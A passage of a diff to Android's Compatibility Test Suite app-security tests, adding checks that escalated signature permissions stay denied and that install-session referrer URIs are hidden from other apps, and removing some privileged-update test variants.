+ assertThat(permissionIndex, is(not(-1)));
+ return (packageInfo.requestedPermissionsFlags[permissionIndex]
+ & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0;
+ }
+
+ @Test
public void testExposedActivity() throws Exception {
final Bundle testArgs = InstrumentationRegistry.getArguments();
assertThat(testArgs, is(notNullValue()));
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
index 3a99f325..86cea52 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
@@ -442,10 +442,6 @@
final int originalSetting = Secure.getInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 1);
Secure.putInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 0);
try {
- Thread.sleep(1000);
- } catch (Exception e) {
- }
- try {
// start the ephemeral activity; using VIEW/BROWSABLE with setting disabled
try {
final Intent startViewIntent = new Intent(Intent.ACTION_VIEW)
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
index cfccc78..c006c73 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
@@ -19,6 +19,7 @@
import static org.junit.Assert.assertSame;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.content.pm.PermissionInfo;
import androidx.test.InstrumentationRegistry;
@@ -48,5 +49,34 @@
assertSame("Shouldn't be able to change signature permission to dangerous",
PermissionInfo.PROTECTION_SIGNATURE, (stealAudio1Permission2.protectionLevel
& PermissionInfo.PROTECTION_MASK_BASE));
- }
- }
+ }
+
+ @Test
+ public void testRuntimePermissionsAreNotGranted() throws Exception {
+ // TODO (b/172366747): It is weird that the permission cannot become a runtime permission
+ // during runtime but can become one during reboot.
+ Context context = InstrumentationRegistry.getTargetContext();
+
+ // Ensure permission is now dangerous but denied
+ PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+ assertSame("Signature permission can become dangerous after reboot",
+ PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission1.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+
+ assertSame("Permission should be denied",
+ context.checkSelfPermission(Manifest.permission.STEAL_AUDIO1),
+ PackageManager.PERMISSION_DENIED);
+
+ // Ensure permission is now dangerous but denied
+ PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+ assertSame("Signature permission can become dangerous after reboot",
+ PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission2.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+
+ assertSame("Permission should be denied",
+ context.checkSelfPermission(Manifest.permission.STEAL_AUDIO2),
+ PackageManager.PERMISSION_DENIED);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
index 8521093..e89d574 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsPermissionDeclareApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
# sign this app with a different cert than CtsUsePermissionDiffCert
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
index 5f48099..f4e2421 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsPermissionDeclareAppCompat
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
# sign this app with a different cert than CtsUsePermissionDiffCert
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index 2ced2b9..4c8dcd5 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -57,26 +57,6 @@
include $(BUILD_PREBUILT)
###########################################################
-# Variant: Privileged app upgrade
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsShimPrivUpgradePrebuilt_v28
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_CLASS := APPS
-LOCAL_BUILT_MODULE_STEM := package.apk
-# Make sure the build system doesn't try to resign the APK
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# The 'arm' apk has both arm and arm64 so's. Same for x86/x86_64.
-my_apk_dir := $(subst arm64,arm,$(TARGET_ARCH))
-my_apk_dir := $(subst x86_64,x86,$(my_apk_dir))
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_apk_dir)/CtsShimPrivUpgrade_v28.apk
-
-include $(BUILD_PREBUILT)
-
-###########################################################
# Variant: Privileged app upgrade (wrong SHA)
include $(CLEAR_VARS)
@@ -93,21 +73,4 @@
include $(BUILD_PREBUILT)
-###########################################################
-# Variant: Privileged app upgrade (wrong SHA)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsShimPrivUpgradeWrongSHAPrebuilt_v28
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_CLASS := APPS
-LOCAL_BUILT_MODULE_STEM := package.apk
-# Make sure the build system doesn't try to resign the APK
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_apk_dir)/CtsShimPrivUpgradeWrongSHA_v28.apk
-
-include $(BUILD_PREBUILT)
-
my_apk_dir :=
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA_v28.apk
deleted file mode 100644
index 2faf2d4..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA_v28.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade_v28.apk
deleted file mode 100644
index 93f6f19..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade_v28.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA_v28.apk
deleted file mode 100644
index d7e0826..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA_v28.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade_v28.apk
deleted file mode 100644
index f0cc8b6..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade_v28.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/src/com/android/cts/privilegedupdate/preparer/PrivilegedUpdateTestPreparer.java b/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/src/com/android/cts/privilegedupdate/preparer/PrivilegedUpdateTestPreparer.java
deleted file mode 100644
index ffdaf3a..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/src/com/android/cts/privilegedupdate/preparer/PrivilegedUpdateTestPreparer.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.privilegedupdate.preparer;
-
-import android.app.Instrumentation;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-@RunWith(JUnit4.class)
-public class PrivilegedUpdateTestPreparer {
- /** Package name of the privileged CTS shim */
- private static final String PRIVILEGED_SHIM_PKG = "com.android.cts.priv.ctsshim";
-
- @Test
- public void getTargetSdk() throws Exception {
- final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
- final PackageManager pm = inst.getContext().getPackageManager();
- final PackageInfo pi = pm.getPackageInfo(PRIVILEGED_SHIM_PKG, 0);
- final Bundle targetSdkBundle = new Bundle();
- targetSdkBundle.putString("target_sdk", Integer.toString(pi.applicationInfo.targetSdkVersion));
- inst.sendStatus(2, targetSdkBundle);
- }
-}
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml
deleted file mode 100644
index f5cc0d0..0000000
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2018 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.reviewpermissionhelper">
-
- <application>
- <uses-library android:name="android.test.runner" />
- </application>
-
- <instrumentation
- android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.cts.reviewpermissionhelper" />
-
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.java b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.java
deleted file mode 100644
index d2ff472..0000000
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.reviewpermissionhelper;
-
-import android.app.Instrumentation;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
-import android.support.test.uiautomator.Direction;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
-import android.widget.ListView;
-import android.widget.Switch;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-
-@RunWith(AndroidJUnit4.class)
-public final class ReviewPermissionsTest {
- private static final long UI_TIMEOUT = 5000L;
- private static final BySelector CONTINUE_BUTTON = By.text("Continue");
-
- @Test
- public void approveReviewPermissions() throws Exception {
- Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
- PackageManager packageManager = instrumentation.getTargetContext().getPackageManager();
- boolean isWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
- if (!isWatch || !packageManager.isPermissionReviewModeEnabled()) return;
-
- Intent startAutoClosingActivity = new Intent();
- startAutoClosingActivity.setComponent(
- new ComponentName(
- "com.android.cts.usepermission",
- "com.android.cts.usepermission.AutoClosingActivity"));
- startAutoClosingActivity.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- instrumentation.getTargetContext().startActivity(startAutoClosingActivity);
-
- UiDevice device = UiDevice.getInstance(instrumentation);
-
- UiObject2 listView = device.wait(Until.findObject(By.clazz(ListView.class)), UI_TIMEOUT);
- List<UiObject2> permissionSwitches = new ArrayList<>();
- UiObject2 continueButton;
- do {
- permissionSwitches = device.findObjects(By.clazz(Switch.class).checked(false));
- for (UiObject2 permissionSwitch : permissionSwitches) {
- permissionSwitch.click();
- }
- listView.scroll(Direction.DOWN, 0.5f);
- continueButton = device.findObject(CONTINUE_BUTTON);
- } while (!permissionSwitches.isEmpty() || continueButton == null);
- device.wait(Until.findObject(CONTINUE_BUTTON), UI_TIMEOUT).click();
- }
-}
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/Android.mk b/hostsidetests/appsecurity/test-apps/SessionInspector/Android.mk
new file mode 100644
index 0000000..bd3fd954
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/Android.mk
@@ -0,0 +1,48 @@
+#
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+LOCAL_PACKAGE_NAME := CtsSessionInspectorAppA
+LOCAL_SDK_VERSION := test_current
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
+LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+LOCAL_MANIFEST_FILE := a/AndroidManifest.xml
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+LOCAL_PACKAGE_NAME := CtsSessionInspectorAppB
+LOCAL_SDK_VERSION := test_current
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
+LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+LOCAL_MANIFEST_FILE := b/AndroidManifest.xml
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/OWNERS b/hostsidetests/appsecurity/test-apps/SessionInspector/OWNERS
new file mode 100644
index 0000000..9d4a924
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 533114
+patb@google.com
+toddke@google.com
+chiuwinson@google.com
diff --git a/tests/tests/telephony4/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SessionInspector/a/AndroidManifest.xml
similarity index 67%
copy from tests/tests/telephony4/AndroidManifest.xml
copy to hostsidetests/appsecurity/test-apps/SessionInspector/a/AndroidManifest.xml
index aa4221f..34aba10 100644
--- a/tests/tests/telephony4/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/a/AndroidManifest.xml
@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+<!-- Copyright (C) 2020 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -13,20 +13,18 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.telephony4.cts">
+ package="com.android.cts.sessioninspector.a">
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.sessioninspector.a" />
+
+ <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
<application>
<uses-library android:name="android.test.runner" />
+ <activity android:name="com.android.cts.sessioninspector.SessionInspectorActivity"
+ android:exported="true"/>
</application>
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.telephony4.cts"
- android:label="CTS tests of android.telephony4">
- <meta-data android:name="listener"
- android:value="com.android.cts.runner.CtsTestRunListener" />
- </instrumentation>
-
</manifest>
-
diff --git a/tests/tests/telephony4/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SessionInspector/b/AndroidManifest.xml
similarity index 67%
rename from tests/tests/telephony4/AndroidManifest.xml
rename to hostsidetests/appsecurity/test-apps/SessionInspector/b/AndroidManifest.xml
index aa4221f..324aa4e 100644
--- a/tests/tests/telephony4/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/b/AndroidManifest.xml
@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+<!-- Copyright (C) 2020 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -13,20 +13,18 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.telephony4.cts">
+ package="com.android.cts.sessioninspector.b">
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.sessioninspector.b" />
+
+ <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
<application>
<uses-library android:name="android.test.runner" />
+ <activity android:name="com.android.cts.sessioninspector.SessionInspectorActivity"
+ android:exported="true"/>
</application>
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.telephony4.cts"
- android:label="CTS tests of android.telephony4">
- <meta-data android:name="listener"
- android:value="com.android.cts.runner.CtsTestRunListener" />
- </instrumentation>
-
</manifest>
-
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/Constants.java b/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/Constants.java
new file mode 100644
index 0000000..6957448
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/Constants.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.sessioninspector;
+
+import android.net.Uri;
+
+public class Constants {
+ private static final String PKG_BASE = "com.android.cts.sessioninspector.";
+
+ public static final String ACTION_CREATE_SESSION = PKG_BASE + "CREATE_SESSION";
+ public static final String ACTION_GET_SESSION = PKG_BASE + "GET_SESSION";
+ public static final String ACTION_ABANDON_SESSION = PKG_BASE + "ABANDON_SESSION";
+
+ public static final String PACKAGE_A = PKG_BASE + "a";
+ public static final String PACKAGE_B = PKG_BASE + "b";
+
+ public static final String ACTIVITY_NAME = PKG_BASE + "SessionInspectorActivity";
+
+ public static final Uri REFERRER_URI = Uri.parse("https://user-sensitive-domain.com/");
+}
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/SessionInspectorActivity.java b/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/SessionInspectorActivity.java
new file mode 100644
index 0000000..edf90f2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/SessionInspectorActivity.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.sessioninspector;
+
+import static android.content.Intent.EXTRA_RESULT_RECEIVER;
+import static android.content.pm.PackageInstaller.EXTRA_SESSION;
+import static android.content.pm.PackageInstaller.EXTRA_SESSION_ID;
+import static android.content.pm.PackageInstaller.SessionInfo;
+import static android.content.pm.PackageInstaller.SessionParams;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+
+import static com.android.cts.sessioninspector.Constants.ACTION_ABANDON_SESSION;
+import static com.android.cts.sessioninspector.Constants.ACTION_CREATE_SESSION;
+import static com.android.cts.sessioninspector.Constants.ACTION_GET_SESSION;
+import static com.android.cts.sessioninspector.Constants.REFERRER_URI;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+public class SessionInspectorActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ RemoteCallback remoteCallback = getIntent().getParcelableExtra(EXTRA_RESULT_RECEIVER);
+ final Bundle result = new Bundle();
+ String action = getIntent().getAction();
+ try {
+ switch (action) {
+ case ACTION_CREATE_SESSION:
+ SessionParams params = new SessionParams(MODE_FULL_INSTALL);
+ params.setReferrerUri(REFERRER_URI);
+ final int session =
+ getPackageManager().getPackageInstaller().createSession(params);
+ result.putInt(EXTRA_SESSION_ID, session);
+ break;
+ case ACTION_GET_SESSION: {
+ final int sessionId = getIntent().getIntExtra(EXTRA_SESSION_ID, 0);
+ final SessionInfo sessionInfo =
+ getPackageManager().getPackageInstaller().getSessionInfo(sessionId);
+ result.putParcelable(EXTRA_SESSION, sessionInfo);
+ break;
+ }
+ case ACTION_ABANDON_SESSION: {
+ final int sessionId = getIntent().getIntExtra(EXTRA_SESSION_ID, 0);
+ getPackageManager().getPackageInstaller().abandonSession(sessionId);
+ break;
+ }
+ default:
+ throw new IllegalArgumentException("Unrecognized action: " + action);
+ }
+ } catch (Exception e) {
+ result.putSerializable("error", e);
+ }
+ remoteCallback.sendResult(result);
+ finish();
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/SessionInspectorTest.java b/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/SessionInspectorTest.java
new file mode 100644
index 0000000..8afcdef
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/SessionInspectorTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.sessioninspector;
+
+import static com.android.cts.sessioninspector.Constants.ACTION_ABANDON_SESSION;
+import static com.android.cts.sessioninspector.Constants.ACTION_CREATE_SESSION;
+import static com.android.cts.sessioninspector.Constants.ACTION_GET_SESSION;
+import static com.android.cts.sessioninspector.Constants.ACTIVITY_NAME;
+import static com.android.cts.sessioninspector.Constants.REFERRER_URI;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInstaller;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.RemoteCallback;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.UUID;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(JUnit4.class)
+public class SessionInspectorTest {
+
+ @Test
+ public void testOnlyOwnerCanSee() throws Exception {
+ String myPackage = Constants.PACKAGE_A.equals(getContext().getPackageName())
+ ? Constants.PACKAGE_A : Constants.PACKAGE_B;
+ String otherPackage = Constants.PACKAGE_A.equals(myPackage) ? Constants.PACKAGE_B
+ : Constants.PACKAGE_A;
+
+ int sessionId = createSession(myPackage);
+
+ final PackageInstaller.SessionInfo sessionToMe = getSessionInfo(myPackage, sessionId);
+ final PackageInstaller.SessionInfo sessionToOther = getSessionInfo(otherPackage, sessionId);
+
+ abandonSession(myPackage, sessionId);
+
+ assertEquals(REFERRER_URI, sessionToMe.getReferrerUri());
+ assertNull(sessionToOther.getReferrerUri());
+ }
+
+ private Context getContext() {
+ return InstrumentationRegistry.getContext();
+ }
+
+ private int createSession(String packageName) throws Exception {
+ Bundle result = sendCommand(new Intent(ACTION_CREATE_SESSION).setComponent(
+ new ComponentName(packageName, ACTIVITY_NAME)));
+ return result.getInt(PackageInstaller.EXTRA_SESSION_ID, 0);
+ }
+
+ private PackageInstaller.SessionInfo getSessionInfo(String packageName, int session)
+ throws Exception {
+ Bundle result = sendCommand(new Intent(ACTION_GET_SESSION).putExtra(
+ PackageInstaller.EXTRA_SESSION_ID, session).setComponent(
+ new ComponentName(packageName, ACTIVITY_NAME)));
+ return result.getParcelable(PackageInstaller.EXTRA_SESSION);
+ }
+
+ private void abandonSession(String packageName, int sessionId) throws Exception {
+ sendCommand(new Intent(ACTION_ABANDON_SESSION).putExtra(PackageInstaller.EXTRA_SESSION_ID,
+ sessionId).setComponent(new ComponentName(packageName, ACTIVITY_NAME)));
+ }
+
+ private Bundle sendCommand(Intent intent) throws Exception {
+ ConditionVariable condition = new ConditionVariable();
+ final Bundle[] resultHolder = new Bundle[1];
+ RemoteCallback callback = new RemoteCallback(result -> {
+ resultHolder[0] = result;
+ condition.open();
+ });
+ intent.putExtra(Intent.EXTRA_RESULT_RECEIVER, callback);
+ intent.setData(Uri.parse("https://" + UUID.randomUUID()));
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ getContext().startActivity(intent);
+ condition.block(TimeUnit.SECONDS.toMillis(10));
+ Bundle result = resultHolder[0];
+ if (result.containsKey("error")) {
+ throw (Exception) result.getSerializable("error");
+ }
+ return result;
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml
index f87a7da..1424c7c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml
@@ -68,7 +68,6 @@
<application>
<uses-library android:name="android.test.runner" />
<activity android:name=".BasePermissionActivity" />
- <activity android:name=".AutoClosingActivity" android:exported="true" />
</application>
<instrumentation
